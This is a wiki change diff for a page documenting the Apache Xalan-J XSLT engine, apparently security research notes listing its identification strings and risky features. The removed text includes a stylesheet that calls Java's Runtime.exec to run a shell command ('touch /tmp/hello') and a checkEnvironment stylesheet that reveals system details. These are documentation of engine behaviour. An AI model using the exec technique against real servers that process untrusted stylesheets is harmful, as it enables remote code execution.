Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35

From version Icon 8.1 Icon
edited by Nicolas Gregoire
on 2012/01/05 01:05
Change comment: Upload new attachment checkenv.xsl
To version Icon 1.2 Icon
edited by Nicolas Gregoire
on 2012/01/04 18:59
Change comment: Added tag [xslt, engine, apache, java, unsafe]

Summary

Details

Icon Page properties
Content
... ... @@ -4,40 +4,18 @@
4 4  Supported XSLT version : 1.0
5 5  
6 6  
7 -== Identification strings ==
7 +Identification strings
8 8  
9 9  | xsl:vendor-url|http:~/~/xml.apache.org/xalan-j
10 10  | xsl:vendor|Apache Software Foundation
11 11  | xsl:version|1.0
12 12  
13 -== Special features ==
14 14  
14 +
15 +Special features
16 +
15 15  * File creation
16 16  * Code execution
17 17  * JDBC connectivity
18 18  * Java properties
19 19  * CheckEnv()
20 -
21 -== Java code execution ==
22 -
23 -The following code will display the current date :
24 -
25 -TODO
26 -
27 -== Execution of external commands ==
28 -
29 -The following code will execute the command "touch /tmp/hello" :
30 -
31 -<?xml version="1.0"?>
32 -<xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform"
33 - xmlns:j="http:~/~/xml.apache.org/xalan/java"
34 - exclude-result-prefixes="j"
35 - version="1.0">
36 - <xsl:template match="/">
37 - <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable>
38 - <xsl:variable name="a" select="j:split($c, ' = ')"/>
39 - <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/>
40 - <xsl:variable name="p" select="j:exec($r, $a )"/>
41 - No content at the moment ...
42 - </xsl:template>
43 -</xsl:stylesheet>
Icon checkenv.xsl
Author
... ... @@ -1,1 +1,0 @@
1 -xwiki:XWiki.NicolasGregoire
Size
... ... @@ -1,1 +1,0 @@
1 -324 bytes
Content
... ... @@ -1,14 +1,0 @@
1 -<?xml version="1.0"?>
2 -
3 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
4 - xmlns:xalan="http://xml.apache.org/xalan"
5 - exclude-result-prefixes="xalan"
6 - version="1.0">
7 -
8 - <xsl:output indent="yes"/>
9 - <xsl:template match="/">
10 - <xsl:copy-of select="xalan:checkEnvironment()"/>
11 - </xsl:template>
12 -
13 -</xsl:stylesheet>
14 -